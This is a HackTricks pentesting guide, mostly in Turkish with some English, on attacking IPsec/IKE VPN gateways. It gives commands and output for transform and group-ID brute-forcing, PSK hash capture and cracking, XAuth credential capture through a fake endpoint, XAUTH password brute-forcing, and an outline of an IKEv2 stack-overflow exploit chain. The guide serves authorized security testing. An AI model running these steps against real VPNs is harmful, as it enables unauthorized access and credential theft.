500/udp - Pentesting IPsec/IKE VPN
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgiler
IPsec, ağlar arası iletişimi (LAN-to-LAN) ve uzak kullanıcıların ağa erişimini (remote access) güvence altına alan başlıca teknoloji olarak kabul edilir ve kurumsal VPN çözümlerinin belkemiğini oluşturur.
İki nokta arasında bir security association (SA) kurulması IKE tarafından yönetilir; IKE, kimlik doğrulama ve anahtar değişimi için tasarlanmış ISAKMP protokolü çatısı altında çalışır. Bu süreç birkaç aşamada gerçekleşir:
- Phase 1: İki uç nokta arasında güvenli bir kanal oluşturulur. Bu, Pre-Shared Key (PSK) veya sertifikalar kullanılarak gerçekleştirilir; üç çift mesaj içeren main mode veya aggressive mode kullanılabilir.
- Phase 1.5: Zorunlu olmasa da, Extended Authentication Phase olarak bilinen bu aşama, bağlanmaya çalışan kullanıcının kimliğini kullanıcı adı ve parola isteyerek doğrular.
- Phase 2: Bu aşama, veriyi korumak için ESP ve AH ile ilgili parametrelerin müzakere edilmesine ayrılmıştır. Güvenliği artırmak için Perfect Forward Secrecy (PFS) sağlamak üzere Phase 1’deki algoritmalardan farklı algoritmaların kullanılmasına izin verir.
Varsayılan port: 500/udp
Ayrıca sıkça açık olan: 4500/udp (NAT Traversal)
Keşfedin nmap kullanarak servisi
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT STATE SERVICE
500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
Geçerli bir dönüşüm bulma
IPSec yapılandırması yalnızca bir veya birkaç dönüşümü kabul edecek şekilde hazırlanmış olabilir. Bir dönüşüm, bir dizi değerin birleşimidir. Her dönüşüm DES veya 3DES gibi öğeleri şifreleme algoritması olarak, SHA veya MD5 gibi öğeleri bütünlük algoritması olarak, bir pre-shared key’i kimlik doğrulama türü olarak, Diffie-Hellman 1 veya 2’yi anahtar dağıtım algoritması olarak ve 28800 saniyeyi süre olarak içerir.
O halde, yapmanız gereken ilk şey sunucunun sizinle konuşması için geçerli bir dönüşüm bulmaktır. Bunu yapmak için ike-scan aracını kullanabilirsiniz. Varsayılan olarak, ike-scan main mode’da çalışır ve gateway’e ISAKMP başlığı içeren bir paket gönderir; pakette tek bir proposal ve içinde sekiz dönüşüm bulunur.
Aldığınız yanıta bağlı olarak uç nokta hakkında bazı bilgiler elde edebilirsiniz:
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
Gördüğünüz gibi önceki yanıtta AUTH adlı bir alan ve değeri PSK var. Bu, vpn’in bir preshared key kullanılarak yapılandırıldığı anlamına gelir (ve bu bir pentester için gerçekten iyidir).
Son satırın değeri de çok önemlidir:
- 0 returned handshake; 0 returned notify: Bu, hedefin bir IPsec ağ geçidi olmadığı anlamına gelir.
- 1 returned handshake; 0 returned notify: Bu, hedefin IPsec için yapılandırıldığı ve IKE müzakeresini gerçekleştirmeye istekli olduğu, ayrıca önerdiğiniz transforms’tan bir veya daha fazlasının kabul edilebilir olduğu anlamına gelir (geçerli bir transform çıktı içinde gösterilecektir).
- 0 returned handshake; 1 returned notify: VPN ağ geçitleri, hiçbir transform kabul edilebilir olmadığında bir notify mesajı ile cevap verir (bazı ağ geçitleri bunu yapmaz; bu durumda daha fazla analiz ve revize edilmiş bir öneri denenmelidir).
Bu durumda zaten geçerli bir transformumuz var, fakat üçüncü durumda iseniz geçerli bir transform bulmak için biraz brute-force yapmanız gerekir:
Öncelikle tüm olası transformları oluşturmanız gerekiyor:
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
Ve sonra her birini ike-scan kullanarak brute-force edin (bu birkaç dakika sürebilir):
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
Eğer brute-force işe yaramadıysa, belki sunucu geçerli transforms’lara bile handshakes olmadan yanıt veriyordur. O zaman aynı brute-force’u aggressive mode kullanarak deneyebilirsiniz:
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
Umarım geçerli bir dönüşüm geri döndürülür.
Aynı same attack’ı iker.py kullanarak deneyebilirsiniz.
Ayrıca ikeforce ile dönüşümleri brute force yapmayı deneyebilirsiniz:
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
.png)
Burada DH Group: 14 = 2048-bit MODP ve 15 = 3072-bit
2 = HMAC-SHA = SHA1 (bu durumda). --trans formatı $Enc,$Hash,$Auth,$DH
Cisco, DH grupları 1 ve 2’nin yeterince güçlü olmadığını belirterek kullanılmamasını önerir. Uzmanlar, kaynakları çok olan ülkelerin bu zayıf grupları kullanan verilerin şifrelemesini kolayca kırabileceğine inanıyor. Bu, kodları hızlıca kırmaya hazırlayan özel bir yöntem kullanılarak yapılır. Bu yöntemi kurmak çok maliyetli olsa da, bu güçlü ülkelere, zayıf bir grup (ör. 1.024-bit veya daha küçük) kullanılıyorsa şifrelenmiş veriyi gerçek zamanlı olarak okuma imkânı sağlar.
Server fingerprinting
Ardından, cihazın üreticisini keşfetmek için ike-scan kullanabilirsiniz. Araç bir ilk teklif gönderir ve tekrar gönderimini durdurur. Daha sonra sunucudan alınan mesajlarla eşleşen yanıt deseni arasındaki zaman farkını analiz ederek, pentester VPN gateway üreticisini başarılı bir şekilde fingerprint’leyebilir. Ayrıca bazı VPN sunucuları IKE ile opsiyonel Vendor ID (VID) payload kullanır.
Gerekirse geçerli dönüşümü belirtin (–trans kullanarak)
Eğer IKE hangi üretici olduğunu keşfederse, bunu yazdırır:
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
172.16.21.200 1 1322286031.744904 0.000000
172.16.21.200 2 1322286039.745081 8.000177
172.16.21.200 3 1322286047.745989 8.000908
172.16.21.200 4 1322286055.746972 8.000983
172.16.21.200 Implementation guess: Cisco VPN Concentrator
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
Bu, nmap script ike-version ile de gerçekleştirilebilir.
IKEv2-özgü: WatchGuard Vendor ID version fingerprinting
Bazı IKEv2 daemon’ları IKE_SA_INIT yanıtına non-standard Vendor ID payload’ları ekler. WatchGuard Fireware OS, cihazın sürümünü/build’ini VID içinde doğrudan kodlar; bu da single-packet, pre-auth fingerprinting’e izin verir.
- Transport: UDP/500 (ve NAT-T için UDP/4500)
- Packet: IKE_SA_INIT yanıtı bir veya daha fazla Vendor ID payload içerir
- WatchGuard formatı: 32-byte hash, ardından base64 ve bu çözüldüğünde örneğin
VN=12.11.3 BN=719894
WatchGuard VID payload’ından örnek ham byte’lar (son 12 byte base64):
00000000: bfc2 2e98 56ba 9936 11c1 1e48 a6d2 0807 ....V..6...H....
00000010: a95b edb3 9302 6a49 e60f ac32 7bb9 601b .[....jI...2{.`.
00000020: 566b 3439 4d54 4975 4d54 4575 4d79 4243 Vk49MTIuMTEuMyBC
00000030: 546a 3033 4d54 6b34 4f54 513d Tj03MTk4OTQ=
base64 tail’e sahip olduğunuzda shell üzerinde hızlı çıkarma:
echo 'Vk49MTIuMTEuMyBCTj03MTk4OTQ=' | base64 -d
# VN=12.11.3 BN=719894
Notlar
- Bu herhangi bir IKEv2 RFC parçası değildir. Açık/etkilenebilir Fireware OS sürümlerinin hızlı taraması için satıcıya özgü bir tuhaflık olarak değerlendirin.
- Sadece bir IKE_SA_INIT yanıtı tetiklemeniz yeterlidir; kimlik doğrulaması gerekmez.
Doğru ID (grup adı) bulma
hash’i yakalayabilmek için Aggressive mode’u destekleyen geçerli bir transformation ve doğru ID (grup adı) gerekir. Muhtemelen geçerli grup adını bilmiyorsunuzdur, bu yüzden bunu brute-force yapmanız gerekecek.
Bunu yapmak için iki yöntem öneririm:
Bruteforcing ID with ike-scan
Öncelikle hash’i toplamaya çalışmak için sahte bir ID ile bir istek yapmayı deneyin (“-P”):
ike-scan -P -M -A -n fakeID <IP>
Eğer no hash is returned, muhtemelen bu brute forcing yöntemi işe yarayacaktır. If some hash is returned, this means that a fake hash is going to be sent back for a fake ID, so this method won’t be reliable — böyle bir durumda ID’yi brute-force etmek güvenilir olmayacaktır. Örneğin, bir fake hash döndürülebilir (bu modern sürümlerde olur):
.png)
Ama daha önce belirttiğim gibi, no hash is returned ise, yaygın group names’i brute-force etmek için ike-scan kullanmayı denemelisiniz.
Bu script will try to brute-force possible IDs ve geçerli bir handshake döndürülen ID’leri (bunlar geçerli group name’ler olacaktır) geri döndürecektir.
Eğer belirli bir transformation keşfettiyseniz, bunu ike-scan komutuna ekleyin. Birden fazla transformation keşfettiyseniz, hepsini denemek için yeni bir loop eklemekten çekinmeyin (bunların biri düzgün çalışana kadar hepsini denemelisiniz).
You can use the dictionary of ikeforce or the one in seclists of common group names to brute-force them:
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
Or use this dict (is a combination of the other 2 dicts without repetitions):
Iker ile Bruteforcing ID
iker.py ayrıca ike-scan kullanarak olası grup isimlerini bruteforce eder. Kendi yöntemini izleyerek ike-scan çıktısına dayanarak geçerli bir ID bulur.
ikeforce ile Bruteforcing ID
ikeforce.py ayrıca ID’leri brute force etmek için kullanılabilen bir araçtır. Bu araç, doğru ve yanlış ID’leri ayırt etmek için kullanılabilecek çeşitli zafiyetleri istismar etmeye çalışır (yanlış pozitifler ve yanlış negatifler olabilir; bu yüzden mümkünse ike-scan yöntemi kullanmayı tercih ediyorum).
Varsayılan olarak ikeforce başlangıçta sunucunun davranışını kontrol etmek ve kullanılacak taktiği belirlemek için bazı rastgele id’ler gönderir.
- Birinci yöntem, grup isimlerini bruteforce etmek için Cisco sistemlerinin Dead Peer Detection DPD bilgisini arama yöntemidir (bu bilgi sadece grup ismi doğruysa sunucu tarafından tekrar gönderilir).
- İkinci yöntem, bazen doğru id kullanıldığında daha fazla paket gönderildiği için her denemeye gönderilen yanıt sayısını kontrol etmektir.
- Üçüncü yöntem, yanlış ID’ye verilen yanıtta “INVALID-ID-INFORMATION” aramaktan oluşur.
- Son olarak, eğer sunucu kontrollera hiçbir şey iletmiyorsa, ikeforce sunucuyu brute force etmeyi ve doğru id gönderildiğinde sunucunun bazı paketlerle cevap verip vermediğini kontrol etmeyi dener.
Açıkça, id’yi brute force etmenin amacı geçerli bir id elde ettiğinizde PSK’yi almaktır. Sonra, id ve PSK ile XAUTH’ı brute force etmeniz gerekecektir (eğer etkinse).
Eğer belirli bir dönüşüm keşfettiyseniz, onu ikeforce komutuna ekleyin. Ve birden fazla dönüşüm keşfettiyseniz, hepsini denemek için yeni bir döngü eklemekten çekinmeyin (biri düzgün çalışana kadar hepsini denemelisiniz).
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
Sniffing ID
(Kitaptan Network Security Assessment: Know Your Network): Ayrıca, VPN client ile server arasındaki bağlantıyı sniffing yaparak geçerli kullanıcı adlarını elde etmek de mümkündür; çünkü client ID içeren ilk aggressive mode paketi şifrelenmeden gönderilir
.png)
Capturing & cracking the hash
Son olarak, eğer bir valid transformation ve group name bulduysanız ve aggressive mode izinliyse, çok kolay bir şekilde crackable hash’i elde edebilirsiniz:
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
Hash hash.txt içinde kaydedilecek.
Hash’i crack etmek için psk-crack, john (ikescan2john.py kullanarak) ve hashcat’ı kullanabilirsiniz:
psk-crack -d <Wordlist_path> psk.txt
XAuth
Aggressive mode IKE ile birlikte bir Pre-Shared Key (PSK) genellikle grup kimlik doğrulama amaçları için kullanılır. Bu yöntem, ek bir kullanıcı kimlik doğrulaması katmanı getiren XAuth (Extended Authentication) ile genişletilir. Bu tür kimlik doğrulama genellikle Microsoft Active Directory, RADIUS veya benzeri sistemler gibi hizmetleri kullanır.
IKEv2’ye geçildiğinde, kullanıcıları doğrulamak için XAuth yerine EAP (Extensible Authentication Protocol) kullanılmasının dikkate değer bir değişiklik olduğu görülür. Bu değişiklik, güvenli iletişim protokollerindeki kimlik doğrulama uygulamalarında bir evrimi işaret eder.
Local network MitM to capture credentials
Böylece giriş verilerini fiked kullanarak yakalayabilir ve varsayılan bir kullanıcı adı olup olmadığını görebilirsiniz (Sniffing için IKE trafiğini fiked’e yönlendirmeniz gerekir; bu ARP spoofing yardımıyla yapılabilir, more info). Fiked bir VPN endpoint’i olarak davranacak ve XAuth kimlik bilgilerini yakalayacaktır:
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
Ayrıca, IPSec kullanarak bir MitM saldırısı yapmayı deneyin ve tüm port 500 trafiğini engelleyin; eğer IPSec tüneli kurulamazsa trafik açık metin (şifrelenmemiş) olarak gönderilebilir.
Brute-forcing XAUTH username ad password with ikeforce
To brute force the XAUTH (geçerli bir grup adı id ve psk bildiğinizde) bir kullanıcı adı veya kullanıcı adları listesi ve bir parola listesi kullanabilirsiniz:
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
Böylece, ikeforce her username:password kombinasyonunu kullanarak bağlanmayı deneyecektir.
Eğer bir veya birkaç geçerli transforms bulduysanız, onları önceki adımlarda olduğu gibi kullanın.
IPSEC VPN ile Kimlik Doğrulama
Kali’de, VPNC IPsec tünelleri kurmak için kullanılır. Profiller /etc/vpnc/ dizininde bulunmalıdır. Bu profilleri vpnc komutuyla başlatabilirsiniz.
Aşağıdaki komutlar ve yapılandırmalar, VPNC ile bir VPN bağlantısı kurma sürecini göstermektedir:
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
In this setup:
- Replace
[VPN_GATEWAY_IP]with the actual IP address of the VPN gateway. - Replace
[VPN_CONNECTION_ID]with the identifier for the VPN connection. - Replace
[VPN_GROUP_SECRET]with the VPN’s group secret. - Replace
[VPN_USERNAME]and[VPN_PASSWORD]with the VPN authentication credentials. [PID]symbolizes the process ID that will be assigned whenvpncinitiates.
Ensure that actual, secure values are used to replace the placeholders when configuring the VPN.
IKEv2 sömürü notları: kimlik doğrulama öncesi IDi/CERT işleme hataları
Modern VPN cihazları genellikle IKEv2’yi UDP/500 üzerinde açar (NAT-T için UDP/4500’de de). Yaygın bir kimlik doğrulama öncesi saldırı yüzeyi, IKE_SA_AUTH sırasında Identification (IDi) ve Certificate yüklerinin ayrıştırılmasıdır.
Kırılgan bir IKEv2 ayrıştırıcısı (parser) bulunduğunda yüksek seviyeli sömürü akışı:
- Transformları müzakere etmek ve Diffie–Hellman’ı tamamlamak için geçerli bir IKE_SA_INIT gönderin.
- Hatanın tetiklenmesine neden olan bir IDi taşıyan IKE_SA_AUTH ile devam edin (ör. sertifika doğrulamasından önce sabit boyutlu bir yığın tamponuna kopyalanan aşırı büyük bir Identification).
- Ortaya çıkan bellek bozulması, kayıtlı registerlar ve dönüş adresi üzerinde kontrol sağlayabilir.
- NX etkin ancak diğer mitigasyonlar eksikse (PIE/canaries yoksa), bir ROP zinciri kurarak bir stack sayfasında mprotect çağırın ve ardından yürütmeyi enjekte edilmiş shellcode’a veya eğer /bin/sh yoksa kalıcı bir yorumlayıcıya (ör. /usr/bin/python3) yönlendirin.
Bazı IKEv2 cihazlarında gözlemlenen varsayılan transform örnekleri (WatchGuard Fireware OS 12.11.3):
- SHA2-256–AES(256-bit) with DH Group 14
- SHA1–AES(256-bit) with DH Group 5
- SHA1–AES(256-bit) with DH Group 2
- SHA1–3DES with DH Group 2
Pratik ipuçları
- Hem UDP/500 hem UDP/4500 hedefleyin; NAT-T sunucuları yalnızca 4500’de yanıt verebilir.
- Paket kaybını önlemek için UDP tabanlı tarayıcılar için alım tamponunu ve zaman aşımını artırın.
- Hizmet özel Vendor IDs (yukarıdaki bölüme bakın) yayıyorsa, herhangi bir exploit trafiği denemeden önce zafiyetli sürümleri hızlıca tanımlamak için bunları kullanın.
Reference Material
- PSK cracking paper
- SecurityFocus Infocus
- Scanning a VPN Implementation
- Network Security Assessment 3rd Edition
Shodan
port:500 IKEport:4500 "UDP"udp port:500,4500 "WatchGuard"
References
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
HackTricks

